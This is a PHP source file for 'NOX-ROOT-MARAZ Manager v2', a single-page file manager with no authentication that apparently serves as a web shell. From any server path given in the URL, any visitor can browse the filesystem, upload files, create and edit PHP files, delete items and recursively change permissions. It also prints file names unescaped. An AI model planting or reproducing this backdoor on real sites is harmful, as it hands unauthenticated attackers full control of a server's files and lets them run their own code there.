<?php
/**
 * NOX-ROOT-MARAZ
 * Features: Upload, Create, Edit, Delete, Recursive Chmod
 */

// Path to manage
$path = isset($_GET['path']) ? $_GET['path'] : '.';
$path = realpath($path);

// Security: Prevent accessing levels above the root if needed
// $path = str_replace('\\', '/', $path); 

// --- HELPER FUNCTIONS ---

function getDirectorySize($path) {
    $bytestotal = 0;
    if($path !== false && $path != '' && file_exists($path)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object){
            $bytestotal += $object->getSize();
        }
    }
    return $bytestotal;
}

function getOctalPerms($path) {
    return substr(sprintf('%o', fileperms($path)), -4);
}

// --- ACTION HANDLERS ---

// Handle file upload
if(isset($_FILES['file'])){
    $upload_path = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    if(move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)){
        echo "<script>alert('File uploaded successfully!');</script>";
    } else {
        echo "<script>alert('File upload failed!');</script>";
    }
}

// Handle deletion
if(isset($_GET['delete'])){
    $delete_file = basename($_GET['delete']);
    $delete_path = realpath($path . DIRECTORY_SEPARATOR . $delete_file);

    if(is_file($delete_path)){
        unlink($delete_path);
        echo "<script>alert('File deleted!'); window.location.href='?path=" . urlencode($path) . "';</script>";
    } elseif(is_dir($delete_path)){
        // Note: Simple rmdir only works if folder is empty
        if(rmdir($delete_path)) {
            echo "<script>alert('Directory deleted!'); window.location.href='?path=" . urlencode($path) . "';</script>";
        } else {
            echo "<script>alert('Directory not empty or permission denied!');</script>";
        }
    }
}

// Handle editing
if(isset($_POST['save']) && isset($_POST['content']) && isset($_POST['edit_file'])){
    $edit_file = basename($_POST['edit_file']);
    $edit_path = realpath($path . DIRECTORY_SEPARATOR . $edit_file);

    if($edit_path && is_file($edit_path)) {
        file_put_contents($edit_path, $_POST['content']);
        echo "<script>alert('Saved!'); window.location.href='?path=" . urlencode($path) . "';</script>";
    }
}

// Handle Recursive Permissions
if(isset($_POST['change_perms']) && isset($_POST['perms']) && isset($_POST['target_item'])){
    $target_item = basename($_POST['target_item']);
    $target_path = realpath($path . DIRECTORY_SEPARATOR . $target_item);
    $new_perms = octdec($_POST['perms']);
    $recursive = isset($_POST['recursive']);

    if($target_path && file_exists($target_path)) {
        chmod($target_path, $new_perms);
        
        if($recursive && is_dir($target_path)) {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($target_path, FilesystemIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            foreach($iterator as $item) {
                chmod($item->getPathname(), $new_perms);
            }
        }
        echo "<script>alert('Permissions updated!'); window.location.href='?path=" . urlencode($path) . "';</script>";
    }
}

// Handle Creation
if(isset($_POST['create']) && isset($_POST['filename'])){
    $filename = preg_replace('/[^a-zA-Z0-9_\-]/', '', $_POST['filename']);
    $new_file_path = $path . DIRECTORY_SEPARATOR . $filename . '.php';

    if(!file_exists($new_file_path)){
        file_put_contents($new_file_path, "<?php\n\n// Created by NOX-ROOT\n\n?>");
        echo "<script>alert('Created!'); window.location.href='?path=" . urlencode($path) . "';</script>";
    }
}

// --- DIRECTORY LISTING ---
$files_raw = scandir($path);
$dirs = [];
$files_list = [];

foreach ($files_raw as $f) {
    if ($f === '.' || $f === '..') continue;
    if (is_dir($path . DIRECTORY_SEPARATOR . $f)) {
        $dirs[] = $f;
    } else {
        $files_list[] = $f;
    }
}
$sorted_files = array_merge($dirs, $files_list);
$path_parts = explode(DIRECTORY_SEPARATOR, $path);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>NOX-ROOT-MARAZ</title>
    <style>
        :root {
            --bg-color: #121212;
            --panel-bg: #1e1e1e;
            --text-color: #d4d4d4;
            --accent-color: #007acc;
            --border-color: #333333;
            --hover-bg: #2a2d2e;
            --input-bg: #252526;
            --danger: #f44336;
            --folder: #e8b363;
        }

        body { font-family: 'Segoe UI', sans-serif; background: var(--bg-color); color: var(--text-color); margin: 0; padding: 20px; }
        a { color: var(--accent-color); text-decoration: none; }
        
        .manager-container { max-width: 1100px; margin: 0 auto; background: var(--panel-bg); border: 1px solid var(--border-color); border-radius: 4px; overflow: hidden; }
        
        .header { padding: 15px 20px; background: #252526; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--border-color); }
        .path-bar { padding: 10px 20px; background: #2d2d2d; font-family: monospace; font-size: 13px; }
        
        .toolbar { padding: 15px 20px; display: flex; gap: 20px; border-bottom: 1px solid var(--border-color); }
        
        table { width: 100%; border-collapse: collapse; }
        th { text-align: left; padding: 12px 20px; background: #252526; color: #888; font-size: 12px; text-transform: uppercase; }
        td { padding: 10px 20px; border-bottom: 1px solid var(--border-color); }
        tr:hover { background: var(--hover-bg); }

        input[type="text"], textarea { background: var(--input-bg); border: 1px solid var(--border-color); color: #fff; padding: 5px 10px; border-radius: 3px; }
        input[type="submit"], button { background: var(--accent-color); color: #fff; border: none; padding: 6px 12px; border-radius: 3px; cursor: pointer; }

        .modal-area { padding: 20px; background: #1a1a1a; border-top: 2px solid var(--accent-color); }
        .code-editor { width: 100%; height: 400px; margin-top: 10px; font-family: 'Consolas', monospace; }
        .btn-delete { color: var(--danger); }
    </style>
</head>
<body>

<div class="manager-container">
    <div class="header">
        <h2 style="margin:0;">NOX-ROOT-MARAZ Manager v2</h2>
        <span>PHP 8+ Secure</span>
    </div>

    <div class="path-bar">
        <?php 
        $accumulated = "";
        foreach($path_parts as $part): 
            $accumulated .= $part . DIRECTORY_SEPARATOR;
        ?>
            <a href="?path=<?php echo urlencode(rtrim($accumulated, DIRECTORY_SEPARATOR)); ?>"><?php echo htmlspecialchars($part); ?></a> /
        <?php endforeach; ?>
    </div>

    <div class="toolbar">
        <form action="" method="post" enctype="multipart/form-data">
            <input type="file" name="file" required>
            <input type="submit" value="Upload">
        </form>
        <form action="" method="post">
            <input type="text" name="filename" placeholder="filename" required>
            <input type="submit" name="create" value="Create PHP">
        </form>
    </div>

    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Perms</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
            <?php foreach($sorted_files as $file): 
                $fpath = $path . DIRECTORY_SEPARATOR . $file;
                $is_dir = is_dir($fpath);
            ?>
            <tr>
                <td>
                    <?php if($is_dir): ?>
                        <a href="?path=<?php echo urlencode($fpath); ?>" style="color:var(--folder)">📁 <?php echo $file; ?></a>
                    <?php else: ?>
                        📄 <?php echo $file; ?>
                    <?php endif; ?>
                </td>
                <td><?php echo $is_dir ? '-' : number_format(filesize($fpath)) . ' B'; ?></td>
                <td><code><?php echo getOctalPerms($fpath); ?></code></td>
                <td>
                    <?php if(!$is_dir): ?>
                        <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($file); ?>">Edit</a> |
                    <?php endif; ?>
                    <a href="?path=<?php echo urlencode($path); ?>&chmod=<?php echo urlencode($file); ?>">Chmod</a> |
                    <a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($file); ?>" class="btn-delete" onclick="return confirm('Delete?')">Delete</a>
                </td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>

    <?php if(isset($_GET['chmod'])): 
        $item = basename($_GET['chmod']);
        $item_path = $path . DIRECTORY_SEPARATOR . $item;
    ?>
    <div class="modal-area">
        <h3>Permissions: <?php echo $item; ?></h3>
        <form action="" method="post">
            <input type="text" name="perms" value="<?php echo getOctalPerms($item_path); ?>">
            <?php if(is_dir($item_path)): ?>
                <label><input type="checkbox" name="recursive"> Recursive (Apply to all files inside)</label>
            <?php endif; ?>
            <input type="hidden" name="target_item" value="<?php echo $item; ?>">
            <input type="submit" name="change_perms" value="Apply">
            <a href="?path=<?php echo urlencode($path); ?>">Cancel</a>
        </form>
    </div>
    <?php endif; ?>

    <?php if(isset($_GET['edit'])): 
        $item = basename($_GET['edit']);
        $item_path = $path . DIRECTORY_SEPARATOR . $item;
        if(is_file($item_path)):
    ?>
    <div class="modal-area">
        <h3>Editing: <?php echo $item; ?></h3>
        <form action="" method="post">
            <textarea name="content" class="code-editor"><?php echo htmlspecialchars(file_get_contents($item_path)); ?></textarea>
            <input type="hidden" name="edit_file" value="<?php echo $item; ?>">
            <br><br>
            <input type="submit" name="save" value="Save File">
            <a href="?path=<?php echo urlencode($path); ?>">Cancel</a>
        </form>
    </div>
    <?php endif; endif; ?>
</div>

</body>
</html>